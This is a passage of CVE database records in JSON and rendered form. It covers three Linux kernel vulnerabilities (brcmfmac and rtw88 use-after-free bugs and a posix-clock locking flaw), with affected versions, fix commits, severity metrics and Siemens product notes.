            "url": "https://git.kernel.org/stable/c/0b812f706fd7090be74812101114a0e165b36744"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/190794848e2b9d15de92d502b6ac652806904f5a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6678a1e7d896c00030b31491690e8ddc9a90767a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0a7591e14a8da794d0b93b5d1c6254ccb23adacb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0f7352557a35ab7888bc7831411ec8a3cbe20d78"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35811",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:42:35.275433Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:32:51.552Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:09.242Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "202c503935042272e2f9e1bb549d5f69a8681169",
              "status": "affected",
              "version": "e756af5b30b008f6ffcfebf8ad0b477f6f225b62",
              "versionType": "git"
            },
            {
              "lessThan": "8e3f03f4ef7c36091f46e7349096efb5a2cdb3a1",
              "status": "affected",
              "version": "e756af5b30b008f6ffcfebf8ad0b477f6f225b62",
              "versionType": "git"
            },
            {
              "lessThan": "bacb8c3ab86dcd760c15903fcee58169bc3026aa",
              "status": "affected",
              "version": "e756af5b30b008f6ffcfebf8ad0b477f6f225b62",
              "versionType": "git"
            },
            {
              "lessThan": "8c36205123dc57349b59b4f1a2301eb278cbc731",
              "status": "affected",
              "version": "e756af5b30b008f6ffcfebf8ad0b477f6f225b62",
              "versionType": "git"
            },
            {
              "lessThan": "0b812f706fd7090be74812101114a0e165b36744",
              "status": "affected",
              "version": "e756af5b30b008f6ffcfebf8ad0b477f6f225b62",
              "versionType": "git"
            },
            {
              "lessThan": "190794848e2b9d15de92d502b6ac652806904f5a",
              "status": "affected",
              "version": "e756af5b30b008f6ffcfebf8ad0b477f6f225b62",
              "versionType": "git"
            },
            {
              "lessThan": "6678a1e7d896c00030b31491690e8ddc9a90767a",
              "status": "affected",
              "version": "e756af5b30b008f6ffcfebf8ad0b477f6f225b62",
              "versionType": "git"
            },
            {
              "lessThan": "0a7591e14a8da794d0b93b5d1c6254ccb23adacb",
              "status": "affected",
              "version": "e756af5b30b008f6ffcfebf8ad0b477f6f225b62",
              "versionType": "git"
            },
            {
              "lessThan": "0f7352557a35ab7888bc7831411ec8a3cbe20d78",
              "status": "affected",
              "version": "e756af5b30b008f6ffcfebf8ad0b477f6f225b62",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.7"
            },
            {
              "lessThan": "3.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: Fix use-after-free bug in brcmf_cfg80211_detach\n\nThis is the candidate patch of CVE-2023-47233 :\nhttps://nvd.nist.gov/vuln/detail/CVE-2023-47233\n\nIn brcm80211 driver,it starts with the following invoking chain\nto start init a timeout worker:\n\n-\u003ebrcmf_usb_probe\n  -\u003ebrcmf_usb_probe_cb\n    -\u003ebrcmf_attach\n      -\u003ebrcmf_bus_started\n        -\u003ebrcmf_cfg80211_attach\n          -\u003ewl_init_priv\n            -\u003ebrcmf_init_escan\n              -\u003eINIT_WORK(\u0026cfg-\u003eescan_timeout_work,\n\t\t  brcmf_cfg80211_escan_timeout_worker);\n\nIf we disconnect the USB by hotplug, it will call\nbrcmf_usb_disconnect to make cleanup. The invoking chain is :\n\nbrcmf_usb_disconnect\n  -\u003ebrcmf_usb_disconnect_cb\n    -\u003ebrcmf_detach\n      -\u003ebrcmf_cfg80211_detach\n        -\u003ekfree(cfg);\n\nWhile the timeout woker may still be running. This will cause\na use-after-free bug on cfg in brcmf_cfg80211_escan_timeout_worker.\n\nFix it by deleting the timer and canceling the worker in\nbrcmf_cfg80211_detach.\n\n[arend.vanspriel@broadcom.com: keep timer delete as is and cancel work just before free]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:11:29.087Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/202c503935042272e2f9e1bb549d5f69a8681169"
        },
        {
          "url": "https://git.kernel.org/stable/c/8e3f03f4ef7c36091f46e7349096efb5a2cdb3a1"
        },
        {
          "url": "https://git.kernel.org/stable/c/bacb8c3ab86dcd760c15903fcee58169bc3026aa"
        },
        {
          "url": "https://git.kernel.org/stable/c/8c36205123dc57349b59b4f1a2301eb278cbc731"
        },
        {
          "url": "https://git.kernel.org/stable/c/0b812f706fd7090be74812101114a0e165b36744"
        },
        {
          "url": "https://git.kernel.org/stable/c/190794848e2b9d15de92d502b6ac652806904f5a"
        },
        {
          "url": "https://git.kernel.org/stable/c/6678a1e7d896c00030b31491690e8ddc9a90767a"
        },
        {
          "url": "https://git.kernel.org/stable/c/0a7591e14a8da794d0b93b5d1c6254ccb23adacb"
        },
        {
          "url": "https://git.kernel.org/stable/c/0f7352557a35ab7888bc7831411ec8a3cbe20d78"
        }
      ],
      "title": "wifi: brcmfmac: Fix use-after-free bug in brcmf_cfg80211_detach",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35811",
    "datePublished": "2024-05-17T13:23:17.508Z",
    "dateReserved": "2024-05-17T12:19:12.342Z",
    "dateUpdated": "2026-05-12T11:52:09.242Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47718 (GCVE-0-2024-47718)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

wifi: rtw88: always wait for both firmware loading attempts

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: rtw88: always wait for both firmware loading attempts In 'rtw_wait_firmware_completion()', always wait for both (regular and wowlan) firmware loading attempts. Otherwise if 'rtw_usb_intf_init()' has failed in 'rtw_usb_probe()', 'rtw_usb_disconnect()' may issue 'ieee80211_free_hw()' when one of 'rtw_load_firmware_cb()' (usually the wowlan one) is still in progress, causing UAF detected by KASAN.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/a0c1e2da652cf7082…
https://git.kernel.org/stable/c/ceaab3fb64d6a5426…
https://git.kernel.org/stable/c/7887ad11995a41426…
https://git.kernel.org/stable/c/1b8178a2ae272256e…
https://git.kernel.org/stable/c/9432185540bafd42b…
https://git.kernel.org/stable/c/e9a78d9417e167410…
https://git.kernel.org/stable/c/0e735a4c6137262bc…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c8e5695eae9959fc5774c0f490f2450be8bad3de , < a0c1e2da652cf70825739bc12d49ea15805690bf (git) Affected: c8e5695eae9959fc5774c0f490f2450be8bad3de , < ceaab3fb64d6a5426a3db8f87f3e5757964f2532 (git) Affected: c8e5695eae9959fc5774c0f490f2450be8bad3de , < 7887ad11995a4142671cc49146db536f923c8568 (git) Affected: c8e5695eae9959fc5774c0f490f2450be8bad3de , < 1b8178a2ae272256ea0dc4f940320a81003535e2 (git) Affected: c8e5695eae9959fc5774c0f490f2450be8bad3de , < 9432185540bafd42b7bfac6e6ef2f0a0fb4be447 (git) Affected: c8e5695eae9959fc5774c0f490f2450be8bad3de , < e9a78d9417e167410d6fb83c4e908b077ad8ba6d (git) Affected: c8e5695eae9959fc5774c0f490f2450be8bad3de , < 0e735a4c6137262bcefe45bb52fde7b1f5fc6c4d (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47718",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:02:23.252819Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:17.949Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:19.178Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:40.483Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/realtek/rtw88/main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a0c1e2da652cf70825739bc12d49ea15805690bf",
              "status": "affected",
              "version": "c8e5695eae9959fc5774c0f490f2450be8bad3de",
              "versionType": "git"
            },
            {
              "lessThan": "ceaab3fb64d6a5426a3db8f87f3e5757964f2532",
              "status": "affected",
              "version": "c8e5695eae9959fc5774c0f490f2450be8bad3de",
              "versionType": "git"
            },
            {
              "lessThan": "7887ad11995a4142671cc49146db536f923c8568",
              "status": "affected",
              "version": "c8e5695eae9959fc5774c0f490f2450be8bad3de",
              "versionType": "git"
            },
            {
              "lessThan": "1b8178a2ae272256ea0dc4f940320a81003535e2",
              "status": "affected",
              "version": "c8e5695eae9959fc5774c0f490f2450be8bad3de",
              "versionType": "git"
            },
            {
              "lessThan": "9432185540bafd42b7bfac6e6ef2f0a0fb4be447",
              "status": "affected",
              "version": "c8e5695eae9959fc5774c0f490f2450be8bad3de",
              "versionType": "git"
            },
            {
              "lessThan": "e9a78d9417e167410d6fb83c4e908b077ad8ba6d",
              "status": "affected",
              "version": "c8e5695eae9959fc5774c0f490f2450be8bad3de",
              "versionType": "git"
            },
            {
              "lessThan": "0e735a4c6137262bcefe45bb52fde7b1f5fc6c4d",
              "status": "affected",
              "version": "c8e5695eae9959fc5774c0f490f2450be8bad3de",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/realtek/rtw88/main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw88: always wait for both firmware loading attempts\n\nIn \u0027rtw_wait_firmware_completion()\u0027, always wait for both (regular and\nwowlan) firmware loading attempts. Otherwise if \u0027rtw_usb_intf_init()\u0027\nhas failed in \u0027rtw_usb_probe()\u0027, \u0027rtw_usb_disconnect()\u0027 may issue\n\u0027ieee80211_free_hw()\u0027 when one of \u0027rtw_load_firmware_cb()\u0027 (usually\nthe wowlan one) is still in progress, causing UAF detected by KASAN."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:26.724Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a0c1e2da652cf70825739bc12d49ea15805690bf"
        },
        {
          "url": "https://git.kernel.org/stable/c/ceaab3fb64d6a5426a3db8f87f3e5757964f2532"
        },
        {
          "url": "https://git.kernel.org/stable/c/7887ad11995a4142671cc49146db536f923c8568"
        },
        {
          "url": "https://git.kernel.org/stable/c/1b8178a2ae272256ea0dc4f940320a81003535e2"
        },
        {
          "url": "https://git.kernel.org/stable/c/9432185540bafd42b7bfac6e6ef2f0a0fb4be447"
        },
        {
          "url": "https://git.kernel.org/stable/c/e9a78d9417e167410d6fb83c4e908b077ad8ba6d"
        },
        {
          "url": "https://git.kernel.org/stable/c/0e735a4c6137262bcefe45bb52fde7b1f5fc6c4d"
        }
      ],
      "title": "wifi: rtw88: always wait for both firmware loading attempts",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47718",
    "datePublished": "2024-10-21T11:53:48.859Z",
    "dateReserved": "2024-09-30T16:00:12.949Z",
    "dateUpdated": "2026-05-12T11:58:40.483Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50210 (GCVE-0-2024-50210)

Vulnerability from cvelistv5 – Published: 2024-11-08 06:08 – Updated: 2026-05-12 12:00

Title

posix-clock: posix-clock: Fix unbalanced locking in pc_clock_settime()

Summary

In the Linux kernel, the following vulnerability has been resolved: posix-clock: posix-clock: Fix unbalanced locking in pc_clock_settime() If get_clock_desc() succeeds, it calls fget() for the clockid's fd, and get the clk->rwsem read lock, so the error path should release the lock to make the lock balance and fput the clockid's fd to make the refcount balance and release the fd related resource. However the below commit left the error path locked behind resulting in unbalanced locking. Check timespec64_valid_strict() before get_clock_desc() to fix it, because the "ts" is not changed after that. [pabeni@redhat.com: fixed commit message typo]

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-667 - Improper Locking

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d005400262ddaf1ca…
https://git.kernel.org/stable/c/a8219446b95a85948…
https://git.kernel.org/stable/c/c7fcfdba35abc9f39…
https://git.kernel.org/stable/c/e56e0ec1b79f5a627…
https://git.kernel.org/stable/c/5f063bbf1ee6b0161…
https://git.kernel.org/stable/c/1ba33b327c3f88a7b…
https://git.kernel.org/stable/c/b27330128eca25179…
https://git.kernel.org/stable/c/6e62807c7fbb3c758…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 29f085345cde24566efb751f39e5d367c381c584 , < d005400262ddaf1ca1666bbcd1acf42fe81d57ce (git) Affected: e0c966bd3e31911b57ef76cec4c5796ebd88e512 , < a8219446b95a859488feaade674d13f9efacfa32 (git) Affected: 673a1c5a2998acbd429d6286e6cad10f17f4f073 , < c7fcfdba35abc9f39b83080c2bce398dad13a943 (git) Affected: c8789fbe2bbf75845e45302cba6ffa44e1884d01 , < e56e0ec1b79f5a6272c6e78b36e9d593aa0449af (git) Affected: 27abbde44b6e71ee3891de13e1a228aa7ce95bfe , < 5f063bbf1ee6b01611c016b54e050a41506eb794 (git) Affected: a3f169e398215e71361774d13bf91a0101283ac2 , < 1ba33b327c3f88a7baee598979d73ab5b44d41cc (git) Affected: 1ff7247101af723731ea42ed565d54fb8f341264 , < b27330128eca25179637c1816d5a72d6cc408c66 (git) Affected: d8794ac20a299b647ba9958f6d657051fc51a540 , < 6e62807c7fbb3c758d233018caf94dfea9c65dbd (git)
Linux	Linux	Affected: 5.10.228 , < 5.10.229 (semver) Affected: 5.15.169 , < 5.15.170 (semver) Affected: 6.1.114 , < 6.1.115 (semver) Affected: 6.6.58 , < 6.6.59 (semver) Affected: 6.11.5 , < 6.11.6 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50210",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:17:22.253155Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-667",
                "description": "CWE-667 Improper Locking",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:27:06.056Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:27:05.200Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:28.952Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/time/posix-clock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d005400262ddaf1ca1666bbcd1acf42fe81d57ce",
              "status": "affected",
              "version": "29f085345cde24566efb751f39e5d367c381c584",
              "versionType": "git"
            },
            {
              "lessThan": "a8219446b95a859488feaade674d13f9efacfa32",
              "status": "affected",
              "version": "e0c966bd3e31911b57ef76cec4c5796ebd88e512",
              "versionType": "git"
            },
            {
              "lessThan": "c7fcfdba35abc9f39b83080c2bce398dad13a943",
              "status": "affected",
              "version": "673a1c5a2998acbd429d6286e6cad10f17f4f073",
              "versionType": "git"
            },
            {
              "lessThan": "e56e0ec1b79f5a6272c6e78b36e9d593aa0449af",
              "status": "affected",
              "version": "c8789fbe2bbf75845e45302cba6ffa44e1884d01",
              "versionType": "git"
            },
            {
              "lessThan": "5f063bbf1ee6b01611c016b54e050a41506eb794",
              "status": "affected",
              "version": "27abbde44b6e71ee3891de13e1a228aa7ce95bfe",
              "versionType": "git"
            },
            {
              "lessThan": "1ba33b327c3f88a7baee598979d73ab5b44d41cc",
              "status": "affected",
              "version": "a3f169e398215e71361774d13bf91a0101283ac2",
              "versionType": "git"
            },
            {
              "lessThan": "b27330128eca25179637c1816d5a72d6cc408c66",
              "status": "affected",
              "version": "1ff7247101af723731ea42ed565d54fb8f341264",
              "versionType": "git"
            },
            {
              "lessThan": "6e62807c7fbb3c758d233018caf94dfea9c65dbd",
              "status": "affected",
              "version": "d8794ac20a299b647ba9958f6d657051fc51a540",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/time/posix-clock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.10.229",
              "status": "affected",
              "version": "5.10.228",
              "versionType": "semver"
            },
            {
              "lessThan": "5.15.170",
              "status": "affected",
              "version": "5.15.169",
              "versionType": "semver"
            },
            {
              "lessThan": "6.1.115",
              "status": "affected",
              "version": "6.1.114",
              "versionType": "semver"
            },
            {
              "lessThan": "6.6.59",
              "status": "affected",
              "version": "6.6.58",
              "versionType": "semver"
            },
            {
              "lessThan": "6.11.6",
              "status": "affected",
              "version": "6.11.5",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
